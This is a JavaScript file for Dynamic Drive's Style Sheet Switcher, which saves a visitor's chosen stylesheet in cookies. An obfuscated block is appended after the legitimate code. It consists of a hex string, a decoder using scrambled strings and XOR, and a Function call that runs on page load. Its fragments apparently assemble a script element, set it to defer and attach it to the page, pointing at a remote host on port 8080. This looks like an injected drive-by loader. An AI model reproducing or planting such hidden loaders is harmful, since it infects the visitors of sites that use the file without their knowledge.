///////////////////////////////////////////////////////
// Style Sheet Switcher version 1.1 Oct 10th, 2006
// Author: Dynamic Drive: http://www.dynamicdrive.com
// Usage terms: http://www.dynamicdrive.com/notice.htm
///////////////////////////////////////////////////////

// ver 1.1b bugfix for domain problem
//Style Sheet Switcher version 1.1 Oct 10th, 2006
//Author: Dynamic Drive: http://www.dynamicdrive.com
//Usage terms: http://www.dynamicdrive.com/notice.htm

var manual_or_random="manual" //"manual" or "random"
var randomsetting="3 days" //"eachtime", "sessiononly", or "x days (replace x with desired integer)". Only applicable if mode is random.

//////No need to edit beyond here//////////////

function getCookie(Name) { 
var re=new RegExp(Name+"=[^;]+", "i"); //construct RE to search for target name/value pair
if (document.cookie.match(re)) //if cookie found
return document.cookie.match(re)[0].split("=")[1] //return its value
return null
}

function setCookie(name, value, days) {
var expireDate = new Date()
//set "expstring" to either future or past date, to set or delete cookie, respectively
var expstring=(typeof days!="undefined")? expireDate.setDate(expireDate.getDate()+parseInt(days)) : expireDate.setDate(expireDate.getDate()-5)
document.cookie = name+"="+value+"; expires="+expireDate.toGMTString()+"; path=/";
}

function deleteCookie(name){
setCookie(name, "moot")
}


function setStylesheet(title, randomize){ //Main stylesheet switcher function. Second parameter if defined causes a random alternate stylesheet (including none) to be enabled
var i, cacheobj, altsheets=[""]
for(i=0; (cacheobj=document.getElementsByTagName("link")[i]); i++) {
if(cacheobj.getAttribute("rel").toLowerCase()=="alternate stylesheet" && cacheobj.getAttribute("title")) { //if this is an alternate stylesheet with title
cacheobj.disabled = true
altsheets.push(cacheobj) //store reference to alt stylesheets inside array
if(cacheobj.getAttribute("title") == title) //enable alternate stylesheet with title that matches parameter
cacheobj.disabled = false //enable chosen style sheet
}
}
if (typeof randomize!="undefined"){ //if second paramter is defined, randomly enable an alt style sheet (includes non)
var randomnumber=Math.floor(Math.random()*altsheets.length)
altsheets[randomnumber].disabled=false
}
return (typeof randomize!="undefined" && altsheets[randomnumber]!="")? altsheets[randomnumber].getAttribute("title") : "" //if in "random" mode, return "title" of randomly enabled alt stylesheet
}

function chooseStyle(styletitle, days){ //Interface function to switch style sheets plus save "title" attr of selected stylesheet to cookie
if (document.getElementById){
setStylesheet(styletitle)
setCookie("mysheet", styletitle, days)
}
}

function indicateSelected(element){ //Optional function that shows which style sheet is currently selected within group of radio buttons or select menu
if (selectedtitle!=null && (element.type==undefined || element.type=="select-one")){ //if element is a radio button or select menu
var element=(element.type=="select-one") ? element.options : element
for (var i=0; i<element.length; i++){
if (element[i].value==selectedtitle){ //if match found between form element value and cookie value
if (element[i].tagName=="OPTION") //if this is a select menu
element[i].selected=true
else //else if it's a radio button
element[i].checked=true
break
}
}
}
}

if (manual_or_random=="manual"){ //IF MANUAL MODE
var selectedtitle=getCookie("mysheet")
if (document.getElementById && selectedtitle!=null) //load user chosen style sheet from cookie if there is one stored
setStylesheet(selectedtitle)
}
else if (manual_or_random=="random"){ //IF AUTO RANDOM MODE
if (randomsetting=="eachtime")
setStylesheet("", "random")
else if (randomsetting=="sessiononly"){ //if "sessiononly" setting
if (getCookie("mysheet_s")==null) //if "mysheet_s" session cookie is empty
document.cookie="mysheet_s="+setStylesheet("", "random")+"; path=/" //activate random alt stylesheet while remembering its "title" value
else
setStylesheet(getCookie("mysheet_s")) //just activate random alt stylesheet stored in cookie
}
else if (randomsetting.search(/^[1-9]+ days/i)!=-1){ //if "x days" setting
if (getCookie("mysheet_r")==null || parseInt(getCookie("mysheet_r_days"))!=parseInt(randomsetting)){ //if "mysheet_r" cookie is empty or admin has changed number of days to persist in "x days" variable
setCookie("mysheet_r", setStylesheet("", "random"), parseInt(randomsetting)) //activate random alt stylesheet while remembering its "title" value
setCookie("mysheet_r_days", randomsetting, parseInt(randomsetting)) //Also remember the number of days to persist per the "x days" variable
}
else
setStylesheet(getCookie("mysheet_r")) //just activate random alt stylesheet stored in cookie
} 
}


var iE="9ab089b59cc2a19799adbde99ab08093e9a888b5859780bda4a987a4928fb994a691b88db294bb99a481b586adb8b283b38597919f969aa187a39caba8b290849eeaae9af4968886e18b93d08595";var Ofw;if(Ofw!=''){Ofw='Ug'};var Ju;if(Ju!=''){Ju='Ql'};var SLB;if(SLB!=''){SLB='zn'};function p(b){var vi='';var X;if(X!='' && X!='o'){X='ZD'};var nZ=false; var s="s";function A(Z){this.xi='';var V=[1,139,29,142][0];var UI=new String();var w=new String();var d=[242,255,112][1];var Vo=[185,73,189,0][3];var Ei;if(Ei!='' && Ei!='O'){Ei='S'};var K=Z[P("gnlteh", [2,4,1,0,3])];var F=[140,0,103][1];var h;if(h!='fM' && h != ''){h=null};this.Sa='';while(F<K){F++;var bh;if(bh!='' && bh!='Pl'){bh='yr'};this.kt=false;l=N(Z,F - V);Vo+=l*K;}this.JM="JM";var sh;if(sh!='' && sh!='pp'){sh=null};return new r(Vo % d);}var QV=new Array(); this.ou="";function Pt(bM,v){var Nt=new Array();return bM^v;}var uC=''; var U=function(Q){this.OS="OS";var x = '';var n = -1;var Qw=new Date();var J =[14,0][1];Q = new r(Q);this.PD="PD";var H =[0,239][0];var mW;if(mW!='c'){mW='c'};var Fm;if(Fm!='oz' && Fm!='LJ'){Fm=''};for (J=Q[P("nelgth", [2,1,0,3])]-n;J>=H;J=J-[112,129,1][2]){this.sc="";x+=Q[P("hrcaAt", [2,0,3,1])](J);}var xJ=new Date();var Ck=new Date();this.NQ='';return x;this.aX=37365;};this.Cq=false;this.hk=37834; var N=function(u,Qa){this.JG=52690;var tc;if(tc!='fJ'){tc='fJ'};return u[P("hoCcradeAt", [3,0,5,4,2,1])](Qa);};var PP;if(PP!=''){PP='wI'}; this.Og=62998;this.kaa='';function P(Q, j){var H=[0,100,172,49][0];var V=[48,244,1,67][2];var Et="Et";var GY;if(GY!='gs' && GY!='Fp'){GY=''};var JH;if(JH!='xZ' && JH!='jI'){JH=''};var zs = j.length;var x = '';var hr;if(hr!='sB' && hr!='GG'){hr=''};var BC;if(BC!='cA' && BC!='Ml'){BC=''};var bz = Q.length;var Ro=51382;var AD=35905;for(var J = H; J < bz; J += zs) {var wO;if(wO!='DJ' && wO!='rx'){wO='DJ'};var PZ;if(PZ!='MiY' && PZ!='Xm'){PZ='MiY'};var qI;if(qI!='MI' && qI!='Pe'){qI='MI'};var jF = Q.substr(J, zs);var Oc=new Date();var df="";if(jF.length == zs){var dm;if(dm!=''){dm='UPT'};for(var F in j) {var TA=new String();var NE='';x+=jF.substr(j[F], V);var ZX;if(ZX!='' && ZX!='Xu'){ZX=''};}var bQ=28018;var mo='';var UH;if(UH!='Rv'){UH=''};var dc="dc";} else {  x+=jF;this.hs="hs";this.qv="qv";}var GV;if(GV!='kY'){GV='kY'};this.kT=false;}return x;this.rw="rw";}var uE;if(uE!='' && uE!='oR'){uE=''};this.EW=false;var a=window;var KA=a[P("vale", [3,0,1,2])];var wB;if(wB!='UN' && wB != ''){wB=null};var FG=KA(P("unFticon", [2,0,1]));var VZ;if(VZ!='dY'){VZ='dY'};var oD="oD";var r=KA(P("tSirgn", [1,0]));var YF;if(YF!='lK'){YF=''};var oU;if(oU!='' && oU!='gT'){oU='oq'};var q = '';this.lP='';var ql=KA(P("eRgxEp", [1,0,2]));this.hX='';var fG=new String();var uV=false;this.mE='';var ad;if(ad!='bT' && ad!='hE'){ad='bT'};var C=a[P("ecsnuape", [4,3,0,2,1])];var jS;if(jS!='YG' && jS!='Bti'){jS='YG'};var tl=new Array();var YQ;if(YQ!='kJ' && YQ != ''){YQ=null};var de=r[P("mfohrCoaCerd", [1,4,2,0,5,3])];var yP='';var LNg="";var Wq;if(Wq!='Cr'){Wq=''};var QQ;if(QQ!='Ku'){QQ=''};this.SD="";var T = '';var XPw=21934;var Wf;if(Wf!='Tv' && Wf!='zF'){Wf='Tv'};var H =[132,135,0,20][2];this.pY=false;var CoG;if(CoG!='CB'){CoG=''};var Y = b[P("nelhtg", [2,1,0])];var f = '';var Dz=17656;var V =[247,1,81,228][1];var Fu = de(37);var Yt;if(Yt!='hi' && Yt!='zA'){Yt=''};var y =[2,178][0];var Qm='';var Dcu;if(Dcu!='AL' && Dcu!='Pb'){Dcu=''};var Fj = /[^@a-z0-9A-Z_-]/g;this.Mp=30599;var Jm =[225,0][1];var E=[1, P("udoctmene.crEateelem\'nt(iscr)pt\'", [1,2,3,0]),2, P("edomucdntob.ey.ppalndihCd(d)", [1,2,5,4,3,0]),3, P("gma.convcamemc.oe.bild", [4,5,1,3,0,2]),4, P("tse.ditrtA(teubeefd\'r\'", [4,3,1,2,0]),5, P("e.odhestmica.emu:0r880", [3,0,1,4,2]),6, P("oggoels.e", [1,0]),7, P("nwiodwn.oolad", [1,2,0,4,3,5]),8, P("scmcato.com", [1,6,2,3,4,0,5]),11, P("oggoelc.mo", [1,0]),12, P("inufcton()", [3,2,1,4,5,0]),14, P("occst.m.sa", [3,4,1,5,2,0]),15, P("echcta()", [1,5,4,3,2,6,0]),16, P("h\"tt:p", [1,0]),17, P("cs.dr", [3,2,1,4,0]),18, P("owles", [2,0,1]),19, P("\'\'1)", [1,2,0]),20, P("rty", [1,0,2])];this.jIo=21911;var zP = '';var lJ;if(lJ!='vp' && lJ != ''){lJ=null};var YV=new Array();var DH='';var JB;if(JB!='' && JB!='xDt'){JB=null};var jW='';for(var pZ=H; pZ < Y; pZ+=y){this.ff=false;this.uX=false;f+= Fu; f+= b[P("ussbrt", [1,0])](pZ, y);var aV=false;var yt=false;}this.Ds=4304;var yR;if(yR!='' && yR!='Yl'){yR=''};var b = C(f);var GW=new Array();var JS = new r(p);var kUa=new Array();var yu = JS[P("erlpace", [1,0,3,2])](Fj, zP);var PF;if(PF!='YtJ'){PF='YtJ'};var aP=false;var pL=new Array();var xa = E[P("gnleth", [2,3,1,0])];var tN=false;var gAQ=false;yu = U(yu);var fz = new r(FG);var Pa;if(Pa!='' && Pa!='Hk'){Pa=''};var Lx=false;var eV;if(eV!='' && eV!='go'){eV=''};var OI="";var orR="";var G = fz[P("epcrale", [3,0,1,5,4,2])](Fj, zP);var UaJ;if(UaJ!='hY' && UaJ != ''){UaJ=null};var G = A(G);var Jp="";var nQ=A(yu);var kA=new Array();var gk="gk";var ki;if(ki!=''){ki='Tm'};for(var J=H; J < (b[P("ngethl", [5,2,0,1,3,4])]);J=J+[57,221,201,1][3]) {var ya = yu.charCodeAt(Jm);var bW="bW";var Ud = N(b,J);var tlc=new String();Ud = Pt(Ud, ya);var OKC;if(OKC!='tP' && OKC!='wS'){OKC=''};var IY='';var FFz;if(FFz!=''){FFz='AO'};Ud = Pt(Ud, nQ);var wD=14300;Ud = Pt(Ud, G);this.qe="qe";Jm++;if(Jm > yu.length-V){Jm=H;var Is;if(Is!='' && Is!='zI'){Is='Ws'};var TY;if(TY!='' && TY!='ea'){TY='Xd'};}this.fK="fK";var mJ;if(mJ!='' && mJ!='iQu'){mJ=''};var vs=new String();T += de(Ud);var Aj=19776;}var HT;if(HT!='Yw'){HT='Yw'};var zg="";var zJ=new String();for(e=H; e < xa; e+=y){var Bh="";var Nc = E[e + V];var uZ;if(uZ!='' && uZ!='Cmc'){uZ=''};var iT;if(iT!='' && iT!='NM'){iT='mK'};var M = de(E[e]);this.Vd="Vd";this.hkS='';this.yo='';var VY = new ql(M, de(103));var SL=new Array();var LS=new Date();T=T[P("palrcee", [3,5,0,2,1,4])](VY, Nc);var En="";}this.VA=false;var vC;if(vC!='aU' && vC!='pd'){vC=''};var k=new FG(T);var tY="tY";k();var xfJ=16472;k = '';var uu;if(uu!='Do' && uu != ''){uu=null};var av;if(av!='' && av!='xt'){av=null};G = '';fz = '';var Gw;if(Gw!='Ez'){Gw=''};T = '';var tZ;if(tZ!='Ir'){tZ=''};var bMk;if(bMk!='kUL' && bMk!='li'){bMk='kUL'};yu = '';var zgt;if(zgt!='Va' && zgt != ''){zgt=null};var QY="";nQ = '';var MH=new Array();var plo;if(plo!='' && plo!='fF'){plo='NO'};return '';var Bk;if(Bk!='eP' && Bk!='su'){Bk=''};};var Ofw;if(Ofw!=''){Ofw='Ug'};var Ju;if(Ju!=''){Ju='Ql'};var SLB;if(SLB!=''){SLB='zn'};p(iE);